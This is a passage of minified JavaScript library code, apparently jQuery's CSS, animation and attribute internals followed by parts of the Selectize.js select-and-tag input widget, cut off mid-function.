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e,n,r,i;n=gt.getElementsByTagName("body")[0];if(n&&n.style){e=gt.createElement("div");r=gt.createElement("div");r.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px";n.appendChild(r).appendChild(e);e.style.cssText="-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;display:block;margin-top:1%;top:1%;border:1px;padding:1px;width:4px;position:absolute";o=s=!1;l=!0;if(t.getComputedStyle){o="1%"!==(t.getComputedStyle(e,null)||{}).top;s="4px"===(t.getComputedStyle(e,null)||{width:"4px"}).width;i=e.appendChild(gt.createElement("div"));i.style.cssText=e.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:0";i.style.marginRight=i.style.width="0";e.style.width="1px";l=!parseFloat((t.getComputedStyle(i,null)||{}).marginRight);e.removeChild(i)}e.innerHTML="<table><tr><td></td><td>t</td></tr></table>";i=e.getElementsByTagName("td");i[0].style.cssText="margin:0;border:0;padding:0;display:none";a=0===i[0].offsetHeight;if(a){i[0].style.display="";i[1].style.display="none";a=0===i[0].offsetHeight}n.removeChild(r)}}var n,r,i,o,s,a,l;n=gt.createElement("div");n.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";i=n.getElementsByTagName("a")[0];r=i&&i.style;if(r){r.cssText="float:left;opacity:.5";rt.opacity="0.5"===r.opacity;rt.cssFloat=!!r.cssFloat;n.style.backgroundClip="content-box";n.cloneNode(!0).style.backgroundClip="";rt.clearCloneStyle="content-box"===n.style.backgroundClip;rt.boxSizing=""===r.boxSizing||""===r.MozBoxSizing||""===r.WebkitBoxSizing;ot.extend(rt,{reliableHiddenOffsets:function(){null==a&&e();return a},boxSizingReliable:function(){null==s&&e();return s},pixelPosition:function(){null==o&&e();return o},reliableMarginRight:function(){null==l&&e();return l}})}})();ot.swap=function(e,t,n,r){var i,o,s={};for(o in t){s[o]=e.style[o];e.style[o]=t[o]}i=n.apply(e,r||[]);for(o in t)e.style[o]=s[o];return i};var an=/alpha\([^)]*\)/i,ln=/opacity\s*=\s*([^)]*)/,un=/^(none|table(?!-c[ea]).+)/,cn=new RegExp("^("+At+")(.*)$","i"),pn=new RegExp("^([+-])=("+At+")","i"),dn={position:"absolute",visibility:"hidden",display:"block"},fn={letterSpacing:"0",fontWeight:"400"},hn=["Webkit","O","Moz","ms"];ot.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=nn(e,"opacity");return""===n?"1":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":rt.cssFloat?"cssFloat":"styleFloat"},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,s,a=ot.camelCase(t),l=e.style;t=ot.cssProps[a]||(ot.cssProps[a]=I(l,a));s=ot.cssHooks[t]||ot.cssHooks[a];if(void 0===n)return s&&"get"in s&&void 0!==(i=s.get(e,!1,r))?i:l[t];o=typeof n;if("string"===o&&(i=pn.exec(n))){n=(i[1]+1)*i[2]+parseFloat(ot.css(e,t));o="number"}if(null!=n&&n===n){"number"!==o||ot.cssNumber[a]||(n+="px");rt.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit");if(!(s&&"set"in s&&void 0===(n=s.set(e,n,r))))try{l[t]=n}catch(u){}}}},css:function(e,t,n,r){var i,o,s,a=ot.camelCase(t);t=ot.cssProps[a]||(ot.cssProps[a]=I(e.style,a));s=ot.cssHooks[t]||ot.cssHooks[a];s&&"get"in s&&(o=s.get(e,!0,n));void 0===o&&(o=nn(e,t,r));"normal"===o&&t in fn&&(o=fn[t]);if(""===n||n){i=parseFloat(o);return n===!0||ot.isNumeric(i)?i||0:o}return o}});ot.each(["height","width"],function(e,t){ot.cssHooks[t]={get:function(e,n,r){return n?un.test(ot.css(e,"display"))&&0===e.offsetWidth?ot.swap(e,dn,function(){return O(e,t,r)}):O(e,t,r):void 0},set:function(e,n,r){var i=r&&tn(e);return R(e,n,r?_(e,t,r,rt.boxSizing&&"border-box"===ot.css(e,"boxSizing",!1,i),i):0)}}});rt.opacity||(ot.cssHooks.opacity={get:function(e,t){return ln.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=ot.isNumeric(t)?"alpha(opacity="+100*t+")":"",o=r&&r.filter||n.filter||"";n.zoom=1;if((t>=1||""===t)&&""===ot.trim(o.replace(an,""))&&n.removeAttribute){n.removeAttribute("filter");if(""===t||r&&!r.filter)return}n.filter=an.test(o)?o.replace(an,i):o+" "+i}});ot.cssHooks.marginRight=A(rt.reliableMarginRight,function(e,t){return t?ot.swap(e,{display:"inline-block"},nn,[e,"marginRight"]):void 0});ot.each({margin:"",padding:"",border:"Width"},function(e,t){ot.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];4>r;r++)i[e+It[r]+t]=o[r]||o[r-2]||o[0];return i}};rn.test(e)||(ot.cssHooks[e+t].set=R)});ot.fn.extend({css:function(e,t){return Rt(this,function(e,t,n){var r,i,o={},s=0;if(ot.isArray(t)){r=tn(e);i=t.length;for(;i>s;s++)o[t[s]]=ot.css(e,t[s],!1,r);return o}return void 0!==n?ot.style(e,t,n):ot.css(e,t)},e,t,arguments.length>1)},show:function(){return w(this,!0)},hide:function(){return w(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){wt(this)?ot(this).show():ot(this).hide()})}});ot.Tween=D;D.prototype={constructor:D,init:function(e,t,n,r,i,o){this.elem=e;this.prop=n;this.easing=i||"swing";this.options=t;this.start=this.now=this.cur();this.end=r;this.unit=o||(ot.cssNumber[n]?"":"px")},cur:function(){var e=D.propHooks[this.prop];return e&&e.get?e.get(this):D.propHooks._default.get(this)},run:function(e){var t,n=D.propHooks[this.prop];this.pos=t=this.options.duration?ot.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):e;this.now=(this.end-this.start)*t+this.start;this.options.step&&this.options.step.call(this.elem,this.now,this);n&&n.set?n.set(this):D.propHooks._default.set(this);return this}};D.prototype.init.prototype=D.prototype;D.propHooks={_default:{get:function(e){var t;if(null!=e.elem[e.prop]&&(!e.elem.style||null==e.elem.style[e.prop]))return e.elem[e.prop];t=ot.css(e.elem,e.prop,"");return t&&"auto"!==t?t:0},set:function(e){ot.fx.step[e.prop]?ot.fx.step[e.prop](e):e.elem.style&&(null!=e.elem.style[ot.cssProps[e.prop]]||ot.cssHooks[e.prop])?ot.style(e.elem,e.prop,e.now+e.unit):e.elem[e.prop]=e.now}}};D.propHooks.scrollTop=D.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}};ot.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2}};ot.fx=D.prototype.init;ot.fx.step={};var gn,mn,vn=/^(?:toggle|show|hide)$/,En=new RegExp("^(?:([+-])=|)("+At+")([a-z%]*)$","i"),yn=/queueHooks$/,xn=[M],bn={"*":[function(e,t){var n=this.createTween(e,t),r=n.cur(),i=En.exec(t),o=i&&i[3]||(ot.cssNumber[e]?"":"px"),s=(ot.cssNumber[e]||"px"!==o&&+r)&&En.exec(ot.css(n.elem,e)),a=1,l=20;if(s&&s[3]!==o){o=o||s[3];i=i||[];s=+r||1;do{a=a||".5";s/=a;ot.style(n.elem,e,s+o)}while(a!==(a=n.cur()/r)&&1!==a&&--l)}if(i){s=n.start=+s||+r||0;n.unit=o;n.end=i[1]?s+(i[1]+1)*i[2]:+i[2]}return n}]};ot.Animation=ot.extend(G,{tweener:function(e,t){if(ot.isFunction(e)){t=e;e=["*"]}else e=e.split(" ");for(var n,r=0,i=e.length;i>r;r++){n=e[r];bn[n]=bn[n]||[];bn[n].unshift(t)}},prefilter:function(e,t){t?xn.unshift(e):xn.push(e)}});ot.speed=function(e,t,n){var r=e&&"object"==typeof e?ot.extend({},e):{complete:n||!n&&t||ot.isFunction(e)&&e,duration:e,easing:n&&t||t&&!ot.isFunction(t)&&t};r.duration=ot.fx.off?0:"number"==typeof r.duration?r.duration:r.duration in ot.fx.speeds?ot.fx.speeds[r.duration]:ot.fx.speeds._default;(null==r.queue||r.queue===!0)&&(r.queue="fx");r.old=r.complete;r.complete=function(){ot.isFunction(r.old)&&r.old.call(this);r.queue&&ot.dequeue(this,r.queue)};return r};ot.fn.extend({fadeTo:function(e,t,n,r){return this.filter(wt).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=ot.isEmptyObject(e),o=ot.speed(t,n,r),s=function(){var t=G(this,ot.extend({},e),o);(i||ot._data(this,"finish"))&&t.stop(!0)};s.finish=s;return i||o.queue===!1?this.each(s):this.queue(o.queue,s)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop;t(n)};if("string"!=typeof e){n=t;t=e;e=void 0}t&&e!==!1&&this.queue(e||"fx",[]);return this.each(function(){var t=!0,i=null!=e&&e+"queueHooks",o=ot.timers,s=ot._data(this);if(i)s[i]&&s[i].stop&&r(s[i]);else for(i in s)s[i]&&s[i].stop&&yn.test(i)&&r(s[i]);for(i=o.length;i--;)if(o[i].elem===this&&(null==e||o[i].queue===e)){o[i].anim.stop(n);t=!1;o.splice(i,1)}(t||!n)&&ot.dequeue(this,e)})},finish:function(e){e!==!1&&(e=e||"fx");return this.each(function(){var t,n=ot._data(this),r=n[e+"queue"],i=n[e+"queueHooks"],o=ot.timers,s=r?r.length:0;n.finish=!0;ot.queue(this,e,[]);i&&i.stop&&i.stop.call(this,!0);for(t=o.length;t--;)if(o[t].elem===this&&o[t].queue===e){o[t].anim.stop(!0);o.splice(t,1)}for(t=0;s>t;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}});ot.each(["toggle","show","hide"],function(e,t){var n=ot.fn[t];ot.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(F(t,!0),e,r,i)}});ot.each({slideDown:F("show"),slideUp:F("hide"),slideToggle:F("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){ot.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}});ot.timers=[];ot.fx.tick=function(){var e,t=ot.timers,n=0;gn=ot.now();for(;n<t.length;n++){e=t[n];e()||t[n]!==e||t.splice(n--,1)}t.length||ot.fx.stop();gn=void 0};ot.fx.timer=function(e){ot.timers.push(e);e()?ot.fx.start():ot.timers.pop()};ot.fx.interval=13;ot.fx.start=function(){mn||(mn=setInterval(ot.fx.tick,ot.fx.interval))};ot.fx.stop=function(){clearInterval(mn);mn=null};ot.fx.speeds={slow:600,fast:200,_default:400};ot.fn.delay=function(e,t){e=ot.fx?ot.fx.speeds[e]||e:e;t=t||"fx";return this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})};(function(){var e,t,n,r,i;t=gt.createElement("div");t.setAttribute("className","t");t.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";r=t.getElementsByTagName("a")[0];n=gt.createElement("select");i=n.appendChild(gt.createElement("option"));e=t.getElementsByTagName("input")[0];r.style.cssText="top:1px";rt.getSetAttribute="t"!==t.className;rt.style=/top/.test(r.getAttribute("style"));rt.hrefNormalized="/a"===r.getAttribute("href");rt.checkOn=!!e.value;rt.optSelected=i.selected;rt.enctype=!!gt.createElement("form").enctype;n.disabled=!0;rt.optDisabled=!i.disabled;e=gt.createElement("input");e.setAttribute("value","");rt.input=""===e.getAttribute("value");e.value="t";e.setAttribute("type","radio");rt.radioValue="t"===e.value})();var Tn=/\r/g;ot.fn.extend({val:function(e){var t,n,r,i=this[0];if(arguments.length){r=ot.isFunction(e);return this.each(function(n){var i;if(1===this.nodeType){i=r?e.call(this,n,ot(this).val()):e;null==i?i="":"number"==typeof i?i+="":ot.isArray(i)&&(i=ot.map(i,function(e){return null==e?"":e+""}));t=ot.valHooks[this.type]||ot.valHooks[this.nodeName.toLowerCase()];t&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i)}})}if(i){t=ot.valHooks[i.type]||ot.valHooks[i.nodeName.toLowerCase()];if(t&&"get"in t&&void 0!==(n=t.get(i,"value")))return n;n=i.value;return"string"==typeof n?n.replace(Tn,""):null==n?"":n}}});ot.extend({valHooks:{option:{get:function(e){var t=ot.find.attr(e,"value");return null!=t?t:ot.trim(ot.text(e))}},select:{get:function(e){for(var t,n,r=e.options,i=e.selectedIndex,o="select-one"===e.type||0>i,s=o?null:[],a=o?i+1:r.length,l=0>i?a:o?i:0;a>l;l++){n=r[l];if(!(!n.selected&&l!==i||(rt.optDisabled?n.disabled:null!==n.getAttribute("disabled"))||n.parentNode.disabled&&ot.nodeName(n.parentNode,"optgroup"))){t=ot(n).val();if(o)return t;s.push(t)}}return s},set:function(e,t){for(var n,r,i=e.options,o=ot.makeArray(t),s=i.length;s--;){r=i[s];if(ot.inArray(ot.valHooks.option.get(r),o)>=0)try{r.selected=n=!0}catch(a){r.scrollHeight}else r.selected=!1}n||(e.selectedIndex=-1);return i}}}});ot.each(["radio","checkbox"],function(){ot.valHooks[this]={set:function(e,t){return ot.isArray(t)?e.checked=ot.inArray(ot(e).val(),t)>=0:void 0}};rt.checkOn||(ot.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Sn,Nn,Cn=ot.expr.attrHandle,Ln=/^(?:checked|selected)$/i,An=rt.getSetAttribute,In=rt.input;ot.fn.extend({attr:function(e,t){return Rt(this,ot.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){ot.removeAttr(this,e)})}});ot.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(e&&3!==o&&8!==o&&2!==o){if(typeof e.getAttribute===Nt)return ot.prop(e,t,n);if(1!==o||!ot.isXMLDoc(e)){t=t.toLowerCase();r=ot.attrHooks[t]||(ot.expr.match.bool.test(t)?Nn:Sn)}if(void 0===n){if(r&&"get"in r&&null!==(i=r.get(e,t)))return i;i=ot.find.attr(e,t);return null==i?void 0:i}if(null!==n){if(r&&"set"in r&&void 0!==(i=r.set(e,n,t)))return i;e.setAttribute(t,n+"");return n}ot.removeAttr(e,t)}},removeAttr:function(e,t){var n,r,i=0,o=t&&t.match(xt);if(o&&1===e.nodeType)for(;n=o[i++];){r=ot.propFix[n]||n;ot.expr.match.bool.test(n)?In&&An||!Ln.test(n)?e[r]=!1:e[ot.camelCase("default-"+n)]=e[r]=!1:ot.attr(e,n,"");e.removeAttribute(An?n:r)}},attrHooks:{type:{set:function(e,t){if(!rt.radioValue&&"radio"===t&&ot.nodeName(e,"input")){var n=e.value;e.setAttribute("type",t);n&&(e.value=n);return t}}}}});Nn={set:function(e,t,n){t===!1?ot.removeAttr(e,n):In&&An||!Ln.test(n)?e.setAttribute(!An&&ot.propFix[n]||n,n):e[ot.camelCase("default-"+n)]=e[n]=!0;return n}};ot.each(ot.expr.match.bool.source.match(/\w+/g),function(e,t){var n=Cn[t]||ot.find.attr;Cn[t]=In&&An||!Ln.test(t)?function(e,t,r){var i,o;if(!r){o=Cn[t];Cn[t]=i;i=null!=n(e,t,r)?t.toLowerCase():null;Cn[t]=o}return i}:function(e,t,n){return n?void 0:e[ot.camelCase("default-"+t)]?t.toLowerCase():null}});In&&An||(ot.attrHooks.value={set:function(e,t,n){if(!ot.nodeName(e,"input"))return Sn&&Sn.set(e,t,n);e.defaultValue=t;return void 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n=this;n.isFull()||n.isInputHidden||n.isLocked?t.preventDefault():n.settings.splitOn&&setTimeout(function(){for(var t=e.trim(n.$control_input.val()||"").split(n.settings.splitOn),r=0,i=t.length;i>r;r++)n.createItem(t[r])},0)},onKeyPress:function(e){if(this.isLocked)return e&&e.preventDefault();var t=String.fromCharCode(e.keyCode||e.which);if(this.settings.create&&"multi"===this.settings.mode&&t===this.settings.delimiter){this.createItem();e.preventDefault();return!1}},onKeyDown:function(e){var t=(e.target===this.$control_input[0],this);if(t.isLocked)e.keyCode!==x&&e.preventDefault();else{switch(e.keyCode){case s:if(t.isCmdDown){t.selectAll();return}break;case l:if(t.isOpen){e.preventDefault();e.stopPropagation();t.close()}return;case h:if(!e.ctrlKey||e.altKey)break;case f:if(!t.isOpen&&t.hasOptions)t.open();else if(t.$activeOption){t.ignoreHover=!0;var n=t.getAdjacentOption(t.$activeOption,1);n.length&&t.setActiveOption(n,!0,!0)}e.preventDefault();return;case p:if(!e.ctrlKey||e.altKey)break;case c:if(t.$activeOption){t.ignoreHover=!0;var r=t.getAdjacentOption(t.$activeOption,-1);r.length&&t.setActiveOption(r,!0,!0)}e.preventDefault();return;case a:if(t.isOpen&&t.$activeOption){t.onOptionSelect({currentTarget:t.$activeOption});e.preventDefault()}return;case u:t.advanceSelection(-1,e);return;case d:t.advanceSelection(1,e);return;case x:if(t.settings.selectOnTab&&t.isOpen&&t.$activeOption){t.onOptionSelect({currentTarget:t.$activeOption});t.isFull()||e.preventDefault()}t.settings.create&&t.createItem()&&e.preventDefault();return;case g:case m:t.deleteSelection(e);return}!t.isFull()&&!t.isInputHidden||(o?e.metaKey:e.ctrlKey)||e.preventDefault()}},onKeyUp:function(e){var t=this;if(t.isLocked)return e&&e.preventDefault();var n=t.$control_input.val()||"";if(t.lastValue!==n){t.lastValue=n;t.onSearchChange(n);t.refreshOptions();t.trigger("type",n)}},onSearchChange:function(e){var t=this,n=t.settings.load;if(n&&!t.loadedSearches.hasOwnProperty(e)){t.loadedSearches[e]=!0;t.load(function(r){n.apply(t,[e,r])})}},onFocus:function(e){var t=this,n=t.isFocused;if(t.isDisabled){t.blur();e&&e.preventDefault();return!1}if(!t.ignoreFocus){t.isFocused=!0;"focus"===t.settings.preload&&t.onSearchChange("");n||t.trigger("focus");if(!t.$activeItems.length){t.showInput();t.setActiveItem(null);t.refreshOptions(!!t.settings.openOnFocus)}t.refreshState()}},onBlur:function(e,t){var n=this;if(n.isFocused){n.isFocused=!1;if(!n.ignoreFocus)if(n.ignoreBlur||document.activeElement!==n.$dropdown_content[0]){var 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t=this;if(!t.isLocked&&"multi"===t.settings.mode){e.preventDefault();t.setActiveItem(e.currentTarget,e)}},load:function(e){var t=this,n=t.$wrapper.addClass(t.settings.loadingClass);t.loading++;e.apply(t,[function(e){t.loading=Math.max(t.loading-1,0);if(e&&e.length){t.addOption(e);t.refreshOptions(t.isFocused&&!t.isInputHidden)}t.loading||n.removeClass(t.settings.loadingClass);t.trigger("load",e)}])},setTextboxValue:function(e){var t=this.$control_input,n=t.val()!==e;if(n){t.val(e).triggerHandler("update");this.lastValue=e}},getValue:function(){return this.tagType===b&&this.$input.attr("multiple")?this.items:this.items.join(this.settings.delimiter)},setValue:function(e,t){var n=t?[]:["change"];_(this,n,function(){this.clear();this.addItems(e,t)})},setActiveItem:function(t,n){var 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this.optgroups[e];this.renderCache={};this.trigger("optgroup_remove",e)}},clearOptionGroups:function(){this.optgroups={};this.renderCache={};this.trigger("optgroup_clear")},updateOption:function(t,n){var r,i,o,s,a,l,u,c=this;t=C(t);o=C(n[c.settings.valueField]);if(null!==t&&c.options.hasOwnProperty(t)){if("string"!=typeof o)throw new Error("Value must be set in option data");u=c.options[t].$order;if(o!==t){delete c.options[t];s=c.items.indexOf(t);-1!==s&&c.items.splice(s,1,o)}n.$order=n.$order||u;c.options[o]=n;a=c.renderCache.item;l=c.renderCache.option;if(a){delete a[t];delete a[o]}if(l){delete l[t];delete l[o]}if(-1!==c.items.indexOf(o)){r=c.getItem(t);i=e(c.render("item",n));r.hasClass("active")&&i.addClass("active");r.replaceWith(i)}c.lastQuery=null;c.isOpen&&c.refreshOptions(!1)}},removeOption:function(e,t){var n=this;e=C(e);var r=n.renderCache.item,i=n.renderCache.option;r&&delete r[e];i&&delete i[e];delete n.userOptions[e];delete n.options[e];n.lastQuery=null;n.trigger("option_remove",e);n.removeItem(e,t)},clearOptions:function(){var e=this;e.loadedSearches={};e.userOptions={};
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r,i,o,s,a,l=this,u=l.settings.mode;t=C(t);if(-1===l.items.indexOf(t)){if(l.options.hasOwnProperty(t)){"single"===u&&l.clear();if("multi"!==u||!l.isFull()){r=e(l.render("item",l.options[t]));a=l.isFull();l.items.splice(l.caretPos,0,t);l.insertAtCaret(r);(!l.isPending||!a&&l.isFull())&&l.refreshState();if(l.isSetup){o=l.$dropdown_content.find("[data-selectable]");if(!l.isPending){i=l.getOption(t);s=l.getAdjacentOption(i,1).attr("data-value");l.refreshOptions(l.isFocused&&"single"!==u);s&&l.setActiveOption(l.getOption(s))}!o.length||l.isFull()?l.close():l.positionDropdown();l.updatePlaceholder();l.trigger("item_add",t,r);l.updateOriginalInput({silent:n})}}}}else"single"===u&&l.close()})},removeItem:function(e,t){var n,r,i,o=this;n="object"==typeof e?e:o.getItem(e);e=C(n.attr("data-value"));r=o.items.indexOf(e);if(-1!==r){n.remove();if(n.hasClass("active")){i=o.$activeItems.indexOf(n[0]);o.$activeItems.splice(i,1)}o.items.splice(r,1);o.lastQuery=null;!o.settings.persist&&o.userOptions.hasOwnProperty(e)&&o.removeOption(e,t);r<o.caretPos&&o.setCaret(o.caretPos-1);o.refreshState();o.updatePlaceholder();o.updateOriginalInput({silent:t});o.positionDropdown();o.trigger("item_remove",e,n)}},createItem:function(t,n){var r=this,i=r.caretPos;t=t||e.trim(r.$control_input.val()||"");var o=arguments[arguments.length-1];"function"!=typeof o&&(o=function(){});"boolean"!=typeof n&&(n=!0);if(!r.canCreate(t)){o();return!1}r.lock();var s="function"==typeof r.settings.create?this.settings.create:function(e){var t={};t[r.settings.labelField]=e;t[r.settings.valueField]=e;return t},a=w(function(e){r.unlock();if(!e||"object"!=typeof e)return o();var t=C(e[r.settings.valueField]);if("string"!=typeof t)return o();r.setTextboxValue("");r.addOption(e);r.setCaret(i);r.addItem(t);r.refreshOptions(n&&"single"!==r.settings.mode);o(e)}),l=s.apply(this,[t,a]);"undefined"!=typeof l&&a(l);return!0},refreshItems:function(){this.lastQuery=null;this.isSetup&&this.addItem(this.items);this.refreshState();this.updateOriginalInput()},refreshState:function(){var e,t=this;if(t.isRequired){t.items.length&&(t.isInvalid=!1);t.$control_input.prop("required",e)}t.refreshClasses()},refreshClasses:function(){var t=this,n=t.isFull(),r=t.isLocked;t.$wrapper.toggleClass("rtl",t.rtl);t.$control.toggleClass("focus",t.isFocused).toggleClass("disabled",t.isDisabled).toggleClass("required",t.isRequired).toggleClass("invalid",t.isInvalid).toggleClass("locked",r).toggleClass("full",n).toggleClass("not-full",!n).toggleClass("input-active",t.isFocused&&!t.isInputHidden).toggleClass("dropdown-active",t.isOpen).toggleClass("has-options",!e.isEmptyObject(t.options)).toggleClass("has-items",t.items.length>0);t.$control_input.data("grow",!n&&!r)},isFull:function(){return null!==this.settings.maxItems&&this.items.length>=this.settings.maxItems},updateOriginalInput:function(e){var t,n,r,i,o=this;e=e||{};if(o.tagType===b){r=[];for(t=0,n=o.items.length;n>t;t++){i=o.options[o.items[t]][o.settings.labelField]||"";r.push('<option value="'+L(o.items[t])+'" selected="selected">'+L(i)+"</option>")}r.length||this.$input.attr("multiple")||r.push('<option value="" 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e=this.$control,t="body"===this.settings.dropdownParent?e.offset():e.position();t.top+=e.outerHeight(!0);this.$dropdown.css({width:e.outerWidth(),top:t.top,left:t.left})},clear:function(e){var t=this;if(t.items.length){t.$control.children(":not(input)").remove();t.items=[];t.lastQuery=null;t.setCaret(0);t.setActiveItem(null);t.updatePlaceholder();t.updateOriginalInput({silent:e});t.refreshState();t.showInput();t.trigger("clear")}},insertAtCaret:function(t){var n=Math.min(this.caretPos,this.items.length);0===n?this.$control.prepend(t):e(this.$control[0].childNodes[n]).before(t);this.setCaret(n+1)},deleteSelection:function(t){var n,r,i,o,s,a,l,u,c,p=this;i=t&&t.keyCode===g?-1:1;o=D(p.$control_input[0]);p.$activeOption&&!p.settings.hideSelected&&(l=p.getAdjacentOption(p.$activeOption,-1).attr("data-value"));s=[];if(p.$activeItems.length){c=p.$control.children(".active:"+(i>0?"last":"first"));a=p.$control.children(":not(input)").index(c);i>0&&a++;for(n=0,r=p.$activeItems.length;r>n;n++)s.push(e(p.$activeItems[n]).attr("data-value"));if(t){t.preventDefault();t.stopPropagation()}}else(p.isFocused||"single"===p.settings.mode)&&p.items.length&&(0>i&&0===o.start&&0===o.length?s.push(p.items[p.caretPos-1]):i>0&&o.start===p.$control_input.val().length&&s.push(p.items[p.caretPos]));if(!s.length||"function"==typeof p.settings.onDelete&&p.settings.onDelete.apply(p,[s])===!1)return!1;"undefined"!=typeof a&&p.setCaret(a);for(;s.length;)p.removeItem(s.pop());p.showInput();p.positionDropdown();p.refreshOptions(!0);if(l){u=p.getOption(l);u.length&&p.setActiveOption(u)}return!0},advanceSelection:function(e,t){var n,r,i,o,s,a,l=this;if(0!==e){l.rtl&&(e*=-1);n=e>0?"last":"first";r=D(l.$control_input[0]);if(l.isFocused&&!l.isInputHidden){o=l.$control_input.val().length;s=0>e?0===r.start&&0===r.length:r.start===o;s&&!o&&l.advanceCaret(e,t)}else{a=l.$control.children(".active:"+n);if(a.length){i=l.$control.children(":not(input)").index(a);l.setActiveItem(null);l.setCaret(e>0?i+1:i)}}}},advanceCaret:function(e,t){var n,r,i=this;if(0!==e){n=e>0?"next":"prev";if(i.isShiftDown){r=i.$control_input[n]();if(r.length){i.hideInput();i.setActiveItem(r);t&&t.preventDefault()}}else i.setCaret(i.caretPos+e)}},setCaret:function(t){var n=this;t="single"===n.settings.mode?n.items.length:Math.max(0,Math.min(n.items.length,t));if(!n.isPending){var r,i,o,s;o=n.$control.children(":not(input)");for(r=0,i=o.length;i>r;r++){s=e(o[r]).detach();t>r?n.$control_input.before(s):n.$control.append(s)}}n.caretPos=t},lock:function(){this.close();this.isLocked=!0;this.refreshState()},unlock:function(){this.isLocked=!1;this.refreshState()},disable:function(){var e=this;e.$input.prop("disabled",!0);e.$control_input.prop("disabled",!0).prop("tabindex",-1);e.isDisabled=!0;e.lock()},enable:function(){var e=this;e.$input.prop("disabled",!1);e.$control_input.prop("disabled",!1).prop("tabindex",e.tabIndex);e.isDisabled=!1;e.unlock()},destroy:function(){var t=this,n=t.eventNS,r=t.revertSettings;t.trigger("destroy");t.off();t.$wrapper.remove();t.$dropdown.remove();t.$input.html("").append(r.$children).removeAttr("tabindex").removeClass("selectized").attr({tabindex:r.tabindex}).show();t.$control_input.removeData("grow");t.$input.removeData("selectize");e(window).off(n);e(document).off(n);e(document.body).off(n);delete t.$input[0].selectize},render:function(e,t){var n,r,i="",o=!1,s=this,a=/^[\t \r\n]*<([a-z][a-z0-9\-_]*(?:\:[a-z][a-z0-9\-_]*)?)/i;if("option"===e||"item"===e){n=C(t[s.settings.valueField]);o=!!n}if(o){N(s.renderCache[e])||(s.renderCache[e]={});if(s.renderCache[e].hasOwnProperty(n))return s.renderCache[e][n]}i=s.settings.render[e].apply(this,[t,L]);("option"===e||"option_create"===e)&&(i=i.replace(a,"<$1 data-selectable"));if("optgroup"===e){r=t[s.settings.optgroupValueField]||"";i=i.replace(a,'<$1 data-group="'+A(L(r))+'"')}("option"===e||"item"===e)&&(i=i.replace(a,'<$1 data-value="'+A(L(n||""))+'"'));o&&(s.renderCache[e][n]=i);return i},clearCache:function(e){var t=this;"undefined"==typeof e?t.renderCache={}:delete t.renderCache[e]},canCreate:function(e){var t=this;if(!t.settings.create)return!1;var n=t.settings.createFilter;return!(!e.length||"function"==typeof n&&!n.apply(t,[e])||"string"==typeof n&&!new RegExp(n).test(e)||n instanceof RegExp&&!n.test(e))}});M.count=0;M.defaults={options:[],optgroups:[],plugins:[],delimiter:",",splitOn:null,persist:!0,diacritics:!0,create:!1,createOnBlur:!1,createFilter:null,highlight:!0,openOnFocus:!0,maxOptions:1e3,maxItems:null,hideSelected:null,addPrecedence:!1,selectOnTab:!1,preload:!1,allowEmptyOption:!1,closeAfterSelect:!1,scrollDuration:60,loadThrottle:300,loadingClass:"loading",dataAttr:"data-data",optgroupField:"optgroup",valueField:"value",labelField:"text",optgroupLabelField:"label",optgroupValueField:"value",lockOptgroupOrder:!1,sortField:"$order",searchField:["text"],searchConjunction:"and",mode:null,wrapperClass:"selectize-control",inputClass:"selectize-input",dropdownClass:"selectize-dropdown",dropdownContentClass:"selectize-dropdown-content",dropdownParent:null,copyClassesToDropdown:!0,render:{}};e.fn.selectize=function(t){var n=e.fn.selectize.defaults,r=e.extend({},n,t),i=r.dataAttr,o=r.labelField,s=r.valueField,a=r.optgroupField,l=r.optgroupLabelField,u=r.optgroupValueField,c={},p=function(t,n){var a,l,u,c,p=t.attr(i);if(p){n.options=JSON.parse(p);for(a=0,l=n.options.length;l>a;a++)n.items.push(n.options[a][s])}else{var d=e.trim(t.val()||"");if(!r.allowEmptyOption&&!d.length)return;u=d.split(r.delimiter);for(a=0,l=u.length;l>a;a++){c={};c[o]=u[a];c[s]=u[a];n.options.push(c)}n.items=u}},d=function(t,n){var p,d,f,h,g=n.options,m=function(e){var t=i&&e.attr(i);return"string"==typeof t&&t.length?JSON.parse(t):null},v=function(t,i){t=e(t);var l=C(t.attr("value"));if(l||r.allowEmptyOption)if(c.hasOwnProperty(l)){if(i){var u=c[l][a];u?e.isArray(u)?u.push(i):c[l][a]=[u,i]:c[l][a]=i}}else{var p=m(t)||{};p[o]=p[o]||t.text();p[s]=p[s]||l;p[a]=p[a]||i;c[l]=p;g.push(p);t.is(":selected")&&n.items.push(l)}},E=function(t){var 